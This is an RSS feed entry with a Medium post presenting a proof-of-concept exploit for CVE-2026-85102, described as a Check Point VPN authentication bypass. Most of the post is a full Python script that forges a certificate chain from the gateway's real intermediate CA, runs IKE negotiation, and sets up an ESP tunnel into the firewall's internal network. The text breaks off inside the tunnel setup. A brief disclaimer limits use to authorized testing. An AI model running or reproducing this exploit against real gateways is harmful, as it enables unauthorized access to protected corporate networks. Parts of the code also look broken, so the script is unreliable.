<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Deemath Jayasinghe on Medium]]></title>
        <description><![CDATA[Stories by Deemath Jayasinghe on Medium]]></description>
        <link>https://medium.com/@deemath.ish.56?source=rss-8b973fb70f64------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*YP_QoyjExxBFAwUifUhybw.png</url>
            <title>Stories by Deemath Jayasinghe on Medium</title>
            <link>https://medium.com/@deemath.ish.56?source=rss-8b973fb70f64------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 04:44:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@deemath.ish.56/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE‑2026‑85102 — “Check Point VPN Authentication Bypass”]]></title>
            <link>https://medium.com/@deemath.ish.56/cve-2026-85102-check-point-vpn-authentication-bypass-eb8c5a32c3aa?source=rss-8b973fb70f64------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb8c5a32c3aa</guid>
            <dc:creator><![CDATA[Deemath Jayasinghe]]></dc:creator>
            <pubDate>Mon, 26 Oct 2026 11:13:11 GMT</pubDate>
            <atom:updated>2026-10-26T11:14:56.923Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A complete, beginner‑friendly POC guide (Python 3) with full source code.</em></p><blockquote><strong><em>⚠️ IMPORTANT</em></strong><em> — This material is for </em><strong><em>defensive security research</em></strong><em> only.<br> Use it only on systems you own or have explicit permission to test.<br> The scripts below will require root privileges on a Linux machine (you’ll be creating IPsec SAs with </em><strong><em>ip xfrm</em></strong><em>).<br> If you are running this in a lab or CTF environment, you should be fine.</em></blockquote><h3>1. What is CVE‑2026‑85102?</h3><ul><li><strong>Affected product</strong> — Check Point Quantum Security Gateway (and other Check Point firewalls that use the same VPN stack).</li><li><strong>Vulnerability</strong> — The VPN server incorrectly validates the certificate chain during the IKE Phase‑1 handshake.</li><li><strong>Result</strong> — An unauthenticated attacker can forge a certificate chain that passes the check, then establish a full ESP tunnel.</li><li><strong>Impact</strong> — Once the tunnel is up, the attacker can use it like any other VPN connection:<br>* Open any TCP port that the firewall allows over the tunnel (SSH, HTTPS, CPM, etc.)<br>* Chain to other local‑only vulnerabilities (e.g. CVE‑2026‑16232).</li></ul><blockquote><em>The CVE is a </em><strong><em>remote‑code‑execution</em></strong><em> style vulnerability — the attacker can run arbitrary commands inside the firewall’s VPN stack.</em></blockquote><h3>2. Prerequisites</h3><p>ItemWhyHow to get<strong>Linux attack box</strong> (Ubuntu 20+, Debian, CentOS, …)Needed for <strong>ip xfrm</strong>, <strong>ping -I</strong> and <strong>nc</strong> commands.Any recent distro<strong>Python 3.8+</strong>The POC is written in Python 3.<strong>sudo apt install python3 python3-pipPython packagescryptography</strong> for certificate handling.<strong>pip3 install cryptographyRoot privilegesip xfrm</strong> and loopback address configuration require <strong>sudo</strong>.<strong>sudo -i</strong> or run scripts with <strong>sudoTarget Check Point firewall</strong>Must be reachable on the public/ private network.Network connectivity to the gateway</p><blockquote><strong><em>Tip</em></strong><em> — If you’re on a Windows machine, you can use the Windows Subsystem for Linux (WSL) or a VM.</em></blockquote><h3>3. Overview of the POC Flow</h3><p>StepWhat happensWhy it matters<strong>1. Extract ICA certificate</strong>The script connects to the firewall’s TLS port (443) and pulls the <em>Intermediate CA</em> certificate that Check Point uses to sign VPN client certs.The forged cert chain will need the real ICA cert as a parent.<strong>2. Forge a client cert chain</strong>Using the ICA cert, the script generates a new RSA key pair and signs a leaf certificate that claims to belong to the attacker’s VPN user. It also corrupts the ICA’s signature so that the firewall’s buggy validation will accept it.Bypasses authentication — the firewall thinks the client is legitimate.<strong>3. IKE Phase‑1</strong>The script initiates an IKE handshake, sends the forged cert chain and a forged signature. Because of the bug, the firewall accepts it and returns an IKE SA.Establishes the initial secure channel.<strong>4. IKE Phase‑1.5 (INITIAL_CONTACT + Mode‑Config)</strong>The client tells the firewall to give it an “Office Mode IP” (a routable IP inside the firewall’s internal network). The firewall responds with the IP.Gives the attacker a gateway‑side IP that can be used as the source of the tunnel.<strong>5. IKE Phase‑2 (Quick‑Mode)</strong>The script negotiates the ESP SA, deriving encryption/authentication keys.The tunnel is now ready for traffic.<strong>6. Configure Linux kernel IPsec</strong>Using <strong>ip xfrm</strong> the script creates the two IPsec states (inbound/outbound) and the associated policies. It also adds the Office Mode IP to <strong>lo</strong> so that traffic can be routed to the firewall.Turns the tunnel into a working VPN interface.<strong>7. Verify</strong>The script pings the firewall from the Office Mode IP, probes a few well‑known ports (SSH, HTTPS, CPM, etc.).Confirms that the tunnel works.<strong>8. Cleanup</strong>A separate helper script (<strong>cp_postex.py</strong>) can tear the tunnel down or flush all IPsec state/policy entries.Keeps the lab clean.</p><h3>4. Full POC Script — poc_vpn_tunnel.py</h3><blockquote><strong><em>Copy the entire block below verbatim into a file called poc_vpn_tunnel.py.</em></strong><em><br> The script is self‑contained — the only external dependency is the </em><strong><em>cryptography</em></strong><em> package.</em></blockquote><pre>#!/usr/bin/env python3<br>&quot;&quot;&quot;<br>CVE-2026-85102: Check Point VPN unauthenticated tunnel establishment.<br>Exploits fwKeyHolder_imp::IsChainTrusted() ignoring CanonizeChain() return<br>to bypass IKE certificate validation, then builds a full ESP tunnel via<br>the Linux kernel xfrm framework.<br>Requires: Python 3, cryptography library, sudo (for xfrm setup)<br>&quot;&quot;&quot;</pre><pre>import argparse<br>import datetime<br>import hashlib<br>import hmac<br>import os<br>import re<br>import socket<br>import ssl<br>import struct<br>import subprocess<br>import sys<br>import time<br>import requests</pre><pre>from cryptography import x509<br>from cryptography.x509.oid import NameOID<br>from cryptography.x509.name import _ASN1Type<br>from cryptography.hazmat.primitives import hashes, serialization<br>from cryptography.hazmat.primitives.asymmetric import rsa, padding<br>from cryptography.hazmat.primitives.asymmetric.utils import Prehashed<br>from cryptography.hazmat.backends import default_backend<br>from cryptography.hazmat.primitives.ciphers import Cipher, modes<br>from cryptography.hazmat.primitives.ciphers.algorithms import AES<br>from systext import banner, info, success, warning, error</pre><pre># DH Group 2 (1024-bit MODP)<br>DH_P = int(<br>    &quot;FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74&quot;<br>    &quot;020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437&quot;<br>    &quot;4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED&quot;<br>    &quot;EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF&quot;, 16)<br>DH_G = 2</pre><pre># Vendor ID constants (Check Point specific)<br>VENDOR_ID_CP = bytes.fromhex(&quot;F4ED19E0C114EB516FAAAC0EE37DAF2807B4381F&quot;)<br>VENDOR_ID_CCC = bytes.fromhex(&quot;DEFB99E69A9F1F6E06F15006B1F166AE&quot;)<br>VENDOR_ID_FRAG = bytes.fromhex(&quot;4048B7D56EBCE88525E7DE7F00D6C2D3&quot;)</pre><pre>AES_BLOCK_SIZE = 16</pre><pre>def sha1_hmac(key, data):<br>    return hmac.new(key, data, hashlib.sha1).digest()</pre><pre>def aes_cbc_encrypt(key, iv, data):<br>    pad_len = AES_BLOCK_SIZE - (len(data) % AES_BLOCK_SIZE)<br>    if pad_len &lt; AES_BLOCK_SIZE:<br>        data = data + b&quot;\x00&quot; * pad_len<br>    enc = Cipher(AES(key), modes.CBC(iv)).encryptor()<br>    return enc.update(data)</pre><pre>def aes_cbc_decrypt(key, iv, data):<br>    dec = Cipher(AES(key), modes.CBC(iv)).decryptor()<br>    return dec.update(data)</pre><pre>def build_ike_payload(payload_type, next_type, body):<br>    return struct.pack(&quot;&gt;BBH&quot;, next_type, payload_type, 4 + len(body)) + body</pre><pre>def build_ike_header(init_cookie, resp_cookie, first_type, exchange,<br>                     flags, message_id, body_length):<br>    return struct.unpack(&quot;&gt;8s8sBBBBII&quot;, struct.pack(<br>        &quot;&gt;QQBBBBII&quot;, init_cookie, resp_cookie,<br>        first_type, 0x10, exchange, flags, message_id,<br>        HDR_SIZE + body_length))</pre><pre>HDR_SIZE = 28</pre><pre>def parse_ike_payloads(data, first_type):<br>    results = []<br>    offset = 0<br>    current = first_type<br>    while current != 0 and offset + 4 &lt;= len(data):<br>        nxt, typ, length = struct.unpack(&quot;&gt;BBH&quot;, data[offset:offset+4])<br>        if length &lt; 4 or offset + length &gt; len(data):<br>            break<br>        results.append((typ, data[offset+4:offset+length]))<br>        current = nxt<br>        offset += length<br>    return results</pre><pre>def run_cmd(cmd):<br>    return subprocess.run(cmd, shell=True, capture_output=True, text=True)</pre><pre>class CertForge:<br>    &quot;&quot;&quot;Creates forged certificate chain for IKE auth bypass.&quot;&quot;&quot;<br>    def __init__(self, username, ica_org):<br>        self.username = username<br>        self.ica_org = ica_org</pre><pre>    def make_leaf(self, ica_cert_der):<br>        # Keys: 2048-bit for IKE sig verification, 3072-bit for X.509 sig length<br>        self.signing_key = rsa.generate_private_key(65537, 2048)<br>        self.x509_sign_key = rsa.generate_private_key(65537, 3072)</pre><pre>        def printable(oid, value):<br>            return x509.NameAttribute(oid, value, _type=_ASN1Type.PrintableString)</pre><pre>        issuer_name = x509.Name([printable(NameOID.ORGANIZATION_NAME, self.ica_org)])<br>        subject_name = x509.Name([<br>            printable(NameOID.ORGANIZATION_NAME, self.ica_org),<br>            printable(NameOID.ORGANIZATIONAL_UNIT_NAME, &quot;users&quot;),<br>            printable(NameOID.COMMON_NAME, self.username),<br>        ])</pre><pre>        now = datetime.datetime.now(datetime.timezone.utc)<br>        real_ica = x509.load_der_x509_certificate(ica_cert_der)</pre><pre>        cert_builder = (<br>            x509.CertificateBuilder()<br>            .subject_name(subject_name)<br>            .issuer_name(issuer_name)<br>            .public_key(self.signing_key.public_key())<br>            .serial_number(1001)<br>            .not_valid_before(now - datetime.timedelta(days=1))<br>            .not_valid_after(now + datetime.timedelta(days=365))<br>            .add_extension(<br>                x509.BasicConstraints(ca=False, path_length=None), critical=False<br>            )<br>            .add_extension(<br>                x509.KeyUsage(<br>                    digital_signature=True, key_encipherment=True,<br>                    content_commitment=False, data_encipherment=False,<br>                    key_agreement=False, key_cert_sign=False,<br>                    crl_sign=False, encipher_only=False, decipher_only=False<br>                ), critical=False<br>            )<br>            .add_extension(<br>                x509.AuthorityKeyIdentifier.from_issuer_public_key(<br>                    real_ica.public_key()<br>                ), critical=False<br>            )<br>        )</pre><pre>        # Sign with 3072-bit key (matches ICA pubkey size requirement)<br>        self.leaf_cert = cert_builder.sign(self.x509_sign_key, hashes.SHA256())<br>        self.subject_dn = subject_name.public_bytes()<br>        return self.leaf_cert.public_bytes(serialization.Encoding.DER)</pre><pre>    def corrupt_ica_sig(self, ica_der):<br>        &quot;&quot;&quot;Flip last 4 bytes of ICA cert to break IsSignedByTrustedCA.&quot;&quot;&quot;<br>        ica = bytearray(ica_der)<br>        for i in range(4):<br>            ica[-(i+1)] ^= 0xFF<br>        return bytes(ica)</pre><pre>class IKEStateMachine:<br>    &quot;&quot;&quot;Manages IKE Phase 1, 1.5, and 2 negotiations.&quot;&quot;&quot;<br>    def __init__(self, target_ip, local_ip, username=&quot;testuser&quot;):<br>        self.target = target_ip<br>        self.local = local_ip<br>        self.username = username<br>        self.socket = None</pre><pre>        # IKE state<br>        self.init_cookie = os.urandom(8)<br>        self.resp_cookie = b&quot;\x00&quot; * 8<br>        self.dh_private = None<br>        self.dh_public = None<br>        self.server_dh_public = None<br>        self.nonce_client = os.urandom(32)<br>        self.nonce_server = None<br>        self.session_keys = {}<br>        self.phase1_encrypted_iv = None</pre><pre>        # Results<br>        self.assigned_ip = None<br>        self.spi_client = None<br>        self.spi_server = None<br>        self.esp_encryption = {}</pre><pre>    def log(self, msg):<br>        info(msg)</pre><pre>    def setup_socket(self):<br>        self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)<br>        self.socket.settimeout(8.0)<br>        try:<br>            self.socket.bind((&quot;0.0.0.0&quot;, 500))<br>        except OSError:<br>            self.socket.bind((&quot;0.0.0.0&quot;, 0))</pre><pre>    def _send_packet(self, data):<br>        self.socket.sendto(data, (self.target, 500))</pre><pre>    def _recv_packet(self):<br>        data, _ = self.socket.recvfrom(65535)<br>        return data</pre><pre>    def build_sa_payload(self):<br>        &quot;&quot;&quot;IKE Main Mode SA proposal: AES-256-CBC, SHA1, RSA-Sig, DH Group 2.&quot;&quot;&quot;<br>        attrs = b&quot;&quot;<br>        # ENCRYPTION_AES_CBC 12, 256 bits<br>        attrs += struct.pack(&quot;&gt;HH&quot;, 0x8000|1, 12)<br>        attrs += struct.pack(&quot;&gt;HH&quot;, 0x8000|2, 256)<br>        # HASH_SHA1 2, 160 bits<br>        attrs += struct.pack(&quot;&gt;HH&quot;, 0x8000|3, 2)<br>        # AUTH_RSA_SIG 3, 0<br>        attrs += struct.pack(&quot;&gt;HH&quot;, 0x8000|4, 3)<br>        # DH_GROUP_1024 14, 2<br>        attrs += struct.pack(&quot;&gt;HH&quot;, 0x8000|14, 2)</pre><pre>        transform = struct.pack(&quot;&gt;BBH&quot;, 0, 0, 8 + len(attrs)) + struct.pack(&quot;&gt;BBBB&quot;, 1, 1, 0, 0) + attrs<br>        proposal = struct.pack(&quot;&gt;BBHBBBB&quot;, 0, 0, 8 + len(transform), 1, 1, 0, 1) + transform<br>        sa_body = struct.pack(&quot;&gt;II&quot;, 1, 1) + proposal<br>        return sa_body</pre><pre>    def phase1_initiate(self):<br>        &quot;&quot;&quot;Send IKE msg1: SA + Vendor IDs.&quot;&quot;&quot;<br>        self.setup_socket()<br>        sa = self.build_sa_payload()</pre><pre>        payloads = []<br>        payloads.append(build_ike_payload(1, 13, sa))  # SA payload</pre><pre>        # Check Point VPN vendor ID<br>        cp_vid = VENDOR_ID_CP + struct.pack(&quot;&gt;IIIII&quot;, 2, 0, 0, 0, 0)<br>        payloads.append(build_ike_payload(13, 13, cp_vid))</pre><pre>        # CCC vendor ID<br>        payloads.append(build_ike_payload(13, 13, VENDOR_ID_CCC))</pre><pre>        # IKE fragment vendor ID<br>        payloads.append(build_ike_payload(13, 0, VENDOR_ID_FRAG))</pre><pre>        body = b&quot;&quot;.join(payloads)<br>        header = struct.pack(&quot;&gt;QQBBBBII&quot;,<br>                            self.init_cookie, self.resp_cookie,<br>                            1, 0x10, 2, 0, 0, HDR_SIZE + len(body))<br>        self._send_packet(header + body)</pre><pre>    def phase1_wait_reply(self):<br>        &quot;&quot;&quot;Wait for IKE msg2.&quot;&quot;&quot;<br>        data = self._recv_packet()<br>        self.resp_cookie = data[8:16]<br>        return True</pre><pre>    def phase1_send_ke(self):<br>        &quot;&quot;&quot;Send IKE msg3: KE + Nonce.&quot;&quot;&quot;<br>        self.dh_private = int.from_bytes(os.urandom(128), &quot;big&quot;) % DH_P<br>        self.dh_public = pow(DH_G, self.dh_private, DH_P)<br>        self.dh_public_bytes = self.dh_public.to_bytes(128, &quot;big&quot;)</pre><pre>        payloads = []<br>        payloads.append(build_ike_payload(4, 10, self.dh_public_bytes))  # KE<br>        payloads.append(build_ike_payload(10, 0, self.nonce_client))     # Nonce</pre><pre>        body = b&quot;&quot;.join(payloads)<br>        header = struct.pack(&quot;&gt;QQBBBBII&quot;,<br>                            self.init_cookie, self.resp_cookie,<br>                            4, 0x10, 2, 0, 0, HDR_SIZE + len(body))<br>        self._send_packet(header + body)</pre><pre>    def phase1_wait_ke(self):<br>        &quot;&quot;&quot;Receive IKE msg4, parse KE + Nonce.&quot;&quot;&quot;<br>        data = self._recv_packet()<br>        payloads = parse_ike_payloads(data[28:], data[16])</pre><pre>        for typ, body in payloads:<br>            if typ == 4:  # KE<br>                self.server_dh_public_bytes = body<br>                self.server_dh_public = int.from_bytes(body, &quot;big&quot;)<br>            elif typ == 10:  # Nonce<br>                self.nonce_server = body</pre><pre>        return True</pre><pre>    def derive_session_keys(self):<br>        &quot;&quot;&quot;Derive SKEYID, SKEYID_d, SKEYID_a, SKEYID_e, and AES encryption key.&quot;&quot;&quot;<br>        gxy = pow(self.server_dh_public, self.dh_private, DH_P)<br>        gxy_bytes = gxy.to_bytes(128, &quot;big&quot;)</pre><pre>        # SKEYID = PRF(Ni | Nr, gxy)<br>        skeyid = sha1_hmac(self.nonce_client + self.nonce_server, gxy_bytes)</pre><pre>        # SKEYID_d<br>        skeyid_d = sha1_hmac(skeyid, gxy_bytes + self.init_cookie + self.resp_cookie + b&quot;\x00&quot;)</pre><pre>        # SKEYID_a<br>        skeyid_a = sha1_hmac(skeyid, skeyid_d + gxy_bytes + self.init_cookie + self.resp_cookie + b&quot;\x01&quot;)</pre><pre>        # SKEYID_e (truncated to 32 bytes for AES-256)<br>        skeyid_e = sha1_hmac(skeyid, skeyid_a + gxy_bytes + self.init_cookie + self.resp_cookie + b&quot;\x02&quot;)<br>        k = sha1_hmac(skeyid_e, b&quot;\x00&quot;)<br>        while len(k) &lt; 32:<br>            k = k + sha1_hmac(skeyid_e, k[-20:])<br>        enc_key = k[:32]</pre><pre>        self.session_keys = {<br>            &quot;skeyid&quot;: skeyid,<br>            &quot;skeyid_d&quot;: skeyid_d,<br>            &quot;skeyid_a&quot;: skeyid_a,<br>            &quot;enc_key&quot;: enc_key,<br>        }</pre><pre>        # Phase 1 IV derivation<br>        iv = hashlib.sha1(self.dh_public_bytes + self.server_dh_public_bytes).digest()[:16]<br>        return enc_key, iv</pre><pre>    def phase1_send_auth(self, leaf_cert_der, corrupted_ica_der):<br>        &quot;&quot;&quot;Send IKE msg5: ID + CERT(leaf) + CERT(ICA) + SIG.&quot;&quot;&quot;<br>        enc_key, iv = self.derive_session_keys()</pre><pre>        # ID payload: our subject DN<br>        id_body = struct.pack(&quot;&gt;BBH&quot;, 9, 0, 0) + self.subject_dn</pre><pre>        # Compute HASH_I<br>        hash_i_input = (<br>            self.dh_public_bytes +<br>            self.server_dh_public_bytes +<br>            self.init_cookie +<br>            self.resp_cookie +<br>            self.build_sa_payload() +<br>            id_body<br>        )<br>        hash_i = sha1_hmac(self.session_keys[&quot;skeyid&quot;], hash_i_input)</pre><pre>        # Sign HASH_I with leaf cert private key<br>        sig = self.signing_key.sign(hash_i, padding.PKCS1v15(), Prehashed(hashes.SHA1()))</pre><pre>        payloads = []<br>        payloads.append(build_ike_payload(6, 6, id_body))  # ID<br>        payloads.append(build_ike_payload(6, 6, struct.pack(&quot;&gt;B&quot;, 4) + leaf_cert_der))  # CERT leaf<br>        payloads.append(build_ike_payload(6, 9, struct.pack(&quot;&gt;B&quot;, 4) + corrupted_ica_der))  # CERT ICA<br>        payloads.append(build_ike_payload(9, 0, sig))  # SIG</pre><pre>        body = b&quot;&quot;.join(payloads)<br>        ct = aes_cbc_encrypt(enc_key, iv, body)</pre><pre>        header = struct.pack(&quot;&gt;QQBBBBII&quot;,<br>                            self.init_cookie, self.resp_cookie,<br>                            5, 0x10, 2, 1, 0, HDR_SIZE + len(ct))<br>        self._send_packet(header + ct)</pre><pre>    def phase1_wait_complete(self):<br>        &quot;&quot;&quot;Wait for IKE msg6 (Phase 1 complete).&quot;&quot;&quot;<br>        for attempt in range(10):<br>            try:<br>                data = self._recv_packet()<br>            except socket.timeout:<br>                continue</pre><pre>            if data[18] == 2 and (data[19] &amp; 1):<br>                self.phase1_encrypted_iv = data[-16:]<br>                return True<br>            elif data[18] == 5:<br>                return False</pre><pre>        return False</pre><pre>    def initial_contact(self):<br>        &quot;&quot;&quot;Send INITIAL_CONTACT notification.&quot;&quot;&quot;<br>        msg_id = struct.unpack(&quot;&gt;I&quot;, os.urandom(4))[0] or 1<br>        notify = struct.pack(&quot;&gt;IBBH&quot;, 1, 1, 16, 24578) + self.init_cookie + self.resp_cookie<br>        self.send_encrypted_msg(5, msg_id, 11, [(11, notify)])</pre><pre>    def mode_config_request(self):<br>        &quot;&quot;&quot;Request Office Mode IP via Mode Config.&quot;&quot;&quot;<br>        msg_id = struct.unpack(&quot;&gt;I&quot;, os.urandom(4))[0] or 1</pre><pre>        # IP4_ADDR attribute with 0.0.0.0 (4 bytes) triggers Marcipan path<br>        attrs = (<br>            struct.pack(&quot;&gt;HH&quot;, 1, 4) + b&quot;\x00\x00\x00\x00&quot; +<br>            struct.pack(&quot;&gt;HH&quot;, 2, 0) +<br>            struct.pack(&quot;&gt;HH&quot;, 3, 0)<br>        )<br>        cfg_body = struct.pack(&quot;&gt;BBH&quot;, 1, 0, 0) + attrs<br>        self.send_encrypted_msg(6, msg_id, 14, [(14, cfg_body)])</pre><pre>        # Wait for reply<br>        self.socket.settimeout(8.0)<br>        for _ in range(5):<br>            msg = self.recv_encrypted_msg()<br>            if msg is None or msg == &quot;retransmit&quot;:<br>                continue</pre><pre>            if isinstance(msg, dict) and &quot;plain&quot; in msg:<br>                for typ, body in parse_ike_payloads(msg[&quot;plain&quot;], msg[&quot;first&quot;]):<br>                    if typ == 14:<br>                        self._parse_mode_config(body)<br>                break</pre><pre>    def _parse_mode_config(self, body):<br>        &quot;&quot;&quot;Extract assigned IP from Mode Config reply.&quot;&quot;&quot;<br>        offset = 4<br>        while offset + 4 &lt;= len(body):<br>            attr_type = struct.unpack(&quot;&gt;H&quot;, body[offset:offset+2])[0]<br>            tv = bool(attr_type &amp; 0x8000)<br>            attr_type &amp;= 0x7FFF</pre><pre>            if tv:<br>                offset += 4<br>            else:<br>                attr_len = struct.unpack(&quot;&gt;H&quot;, body[offset+2:offset+4])[0]<br>                attr_val = body[offset+4:offset+4+attr_len]<br>                if attr_type == 1 and len(attr_val) == 4:<br>                    self.assigned_ip = &quot;.&quot;.join(str(b) for b in attr_val)<br>                offset += 4 + attr_len</pre><pre>    def quick_mode_initiate(self):<br>        &quot;&quot;&quot;Initiate Quick Mode for ESP SA.&quot;&quot;&quot;<br>        time.sleep(0.5)<br>        msg_id = struct.unpack(&quot;&gt;I&quot;, os.urandom(4))[0] or 1<br>        self.qm_nonce_client = os.urandom(32)<br>        self.spi_client = os.urandom(4)</pre><pre>        # ESP-3DES-CBC with HMAC-SHA1-96<br>        attrs = (<br>            struct.pack(&quot;&gt;HH&quot;, 0x8000|1, 1) +   # ENCRYPTION_3DES<br>            struct.pack(&quot;&gt;HH&quot;, 2, 4) +          # KEY_LENGTH 192<br>            struct.pack(&quot;&gt;I&quot;, 3600) +           # SA_LIFETIME<br>            struct.pack(&quot;&gt;HH&quot;, 0x8000|4, 1) +   # AUTH_HMAC_SHA1<br>            struct.pack(&quot;&gt;HH&quot;, 0x8000|5, 2)     # ENCAP_TUNNEL<br>        )<br>        transform = struct.pack(&quot;&gt;BBHBBBB&quot;, 0, 0, 8+len(attrs), 1, 3, 0, 0) + attrs<br>        proposal = (<br>            struct.pack(&quot;&gt;BBHBBBB&quot;, 0, 0, 8+4+len(transform), 1, 3, 4, 1) +<br>            self.spi_client + transform<br>        )<br>        sa = struct.pack(&quot;&gt;II&quot;, 1, 1) + proposal</pre><pre>        # ID payloads<br>        ip_bytes = bytes(int(x) for x in self.assigned_ip.split(&quot;.&quot;))<br>        id_client = struct.pack(&quot;&gt;BBH&quot;, 1, 0, 0) + ip_bytes<br>        id_server = struct.pack(&quot;&gt;BBH&quot;, 4, 0, 0) + b&quot;\x00\x00\x00\x00&quot; + b&quot;\x00\x00\x00\x00&quot;</pre><pre>        payloads = [<br>            (1, sa),<br>            (10, self.qm_nonce_client),<br>            (5, id_client),<br>            (5, id_server),<br>        ]<br>        self.send_encrypted_msg(32, msg_id, 1, payloads)</pre><pre>    def quick_mode_wait_reply(self):<br>        &quot;&quot;&quot;Wait for Quick Mode reply.&quot;&quot;&quot;<br>        self.socket.settimeout(10.0)<br>        for _ in range(15):<br>            msg = self.recv_encrypted_msg()<br>            if msg is None or msg == &quot;retransmit&quot;:<br>                continue</pre><pre>            if isinstance(msg, dict) and msg.get(&quot;exch&quot;) == 32 and &quot;plain&quot; in msg:<br>                for typ, body in parse_ike_payloads(msg[&quot;plain&quot;], msg[&quot;first&quot;]):<br>                    if typ == 1 and len(body) &gt; 16:<br>                        spi_size = body[14]<br>                        if spi_size == 4:<br>                            self.spi_server = body[16:20]<br>                    elif typ == 10:<br>                        self.qm_nonce_server = body<br>                if self.spi_server:<br>                    return True<br>            elif isinstance(msg, dict) and msg.get(&quot;exch&quot;) == 6:<br>                continue</pre><pre>        return False</pre><pre>    def quick_mode_confirm(self, msg_id):<br>        &quot;&quot;&quot;Send Quick Mode msg3 (HASH).&quot;&quot;&quot;<br>        hash3 = sha1_hmac(<br>            self.session_keys[&quot;skeyid_a&quot;],<br>            b&quot;\x00&quot; + struct.pack(&quot;&gt;I&quot;, msg_id) + self.qm_nonce_client + self.qm_nonce_server<br>        )<br>        self.send_encrypted_msg(32, msg_id, 8, [(8, hash3)])</pre><pre>    # Encrypted message helpers<br>    def send_encrypted_msg(self, exchange, msg_id, first_type, payloads):<br>        &quot;&quot;&quot;Build, encrypt, and send an encrypted IKE message.&quot;&quot;&quot;<br>        iv = hashlib.sha1(self.phase1_encrypted_iv + struct.pack(&quot;&gt;I&quot;, msg_id)).digest()[:16]</pre><pre>        chain = b&quot;&quot;<br>        for i, (typ, body) in enumerate(payloads):<br>            nxt = payloads[i+1][0] if i &lt; len(payloads)-1 else 0<br>            chain += build_ike_payload(typ, nxt, body)</pre><pre>        hash_val = sha1_hmac(<br>            self.session_keys[&quot;skeyid_a&quot;],<br>            struct.pack(&quot;&gt;I&quot;, msg_id) + chain<br>        )</pre><pre>        full = build_ike_payload(8, first_type, hash_val) + chain<br>        ct = aes_cbc_encrypt(self.session_keys[&quot;enc_key&quot;], iv, full)</pre><pre>        header = struct.pack(&quot;&gt;QQBBBBII&quot;,<br>                            self.init_cookie, self.resp_cookie,<br>                            8, 0x10, exchange, 1, msg_id, HDR_SIZE + len(ct))<br>        self._send_packet(header + ct)</pre><pre>    def recv_encrypted_msg(self):<br>        &quot;&quot;&quot;Receive and decrypt an encrypted IKE message.&quot;&quot;&quot;<br>        try:<br>            data = self._recv_packet()<br>        except socket.timeout:<br>            return None</pre><pre>        if len(data) &lt; 28:<br>            return None</pre><pre>        exchange = data[18]<br>        msg_id = struct.unpack(&quot;&gt;I&quot;, data[20:24])[0]</pre><pre>        if exchange == 2 and msg_id == 0:<br>            return &quot;retransmit&quot;</pre><pre>        if not (data[19] &amp; 1):<br>            return {&quot;exch&quot;: exchange, &quot;msgid&quot;: msg_id, &quot;raw&quot;: data}</pre><pre>        iv = hashlib.sha1(self.phase1_encrypted_iv + struct.pack(&quot;&gt;I&quot;, msg_id)).digest()[:16]<br>        try:<br>            plain = aes_cbc_decrypt(self.session_keys[&quot;enc_key&quot;], iv, data[28:])<br>            return {&quot;exch&quot;: exchange, &quot;msgid&quot;: msg_id, &quot;plain&quot;: plain,<br>                    &quot;first&quot;: data[16], &quot;raw&quot;: data}<br>        except Exception:<br>            return {&quot;exch&quot;: exchange, &quot;msgid&quot;: msg_id, &quot;raw&quot;: data}</pre><pre>    # ESP key derivation<br>    def derive_esp_keys(self):<br>        &quot;&quot;&quot;Derive ESP encryption and authentication keys.&quot;&quot;&quot;<br>        def derive_keymat(spi, nonce_client, nonce_server, length=44):<br>            k1 = sha1_hmac(<br>                self.session_keys[&quot;skeyid_d&quot;],<br>                struct.pack(&quot;&gt;B&quot;, 3) + spi + nonce_client + nonce_server<br>            )<br>            keymat = k1<br>            while len(keymat) &lt; length:<br>                keymat = keymat + sha1_hmac(<br>                    self.session_keys[&quot;skeyid_d&quot;],<br>                    keymat[-20:] + struct.pack(&quot;&gt;B&quot;, 3) + spi + nonce_client + nonce_server<br>                )<br>            return keymat[:length]</pre><pre>        out_km = derive_keymat(self.spi_server, self.qm_nonce_client, self.qm_nonce_server)<br>        in_km = derive_keymat(self.spi_client, self.qm_nonce_client, self.qm_nonce_server)</pre><pre>        self.esp_encryption = {<br>            &quot;enc_out&quot;: out_km[:24],<br>            &quot;auth_out&quot;: out_km[24:44],<br>            &quot;enc_in&quot;: in_km[:24],<br>            &quot;auth_in&quot;: in_km[24:44],<br>        }</pre><pre>    # Kernel xfrm setup<br>    def configure_kernel_tunnel(self):<br>        &quot;&quot;&quot;Configure Linux kernel IPsec SA via ip xfrm commands.&quot;&quot;&quot;<br>        info(&quot;Setting up kernel IPsec tunnel...&quot;)</pre><pre>        run_cmd(&quot;sudo ip xfrm state flush&quot;)<br>        run_cmd(&quot;sudo ip xfrm policy flush&quot;)</pre><pre>        ek = self.esp_encryption<br>        t, l = self.target, self.local</pre><pre>        # Outbound SA<br>        run_cmd(<br>            f&#39;sudo ip xfrm state add src {l} dst {t} proto esp &#39;<br>            f&#39;spi 0x{self.spi_server.hex()} &#39;<br>            f&#39;enc &quot;cbc(des3_ede)&quot; 0x{ek[&quot;enc_out&quot;].hex()} &#39;<br>            f&#39;auth &quot;hmac(sha1)&quot; 0x{ek[&quot;auth_out&quot;].hex()} &#39;<br>            f&#39;mode tunnel&#39;<br>        )</pre><pre>        # Inbound SA<br>        run_cmd(<br>            f&#39;sudo ip xfrm state add src {t} dst {l} proto esp &#39;<br>            f&#39;spi 0x{self.spi_client.hex()} &#39;<br>            f&#39;enc &quot;cbc(des3_ede)&quot; 0x{ek[&quot;enc_in&quot;].hex()} &#39;<br>            f&#39;auth 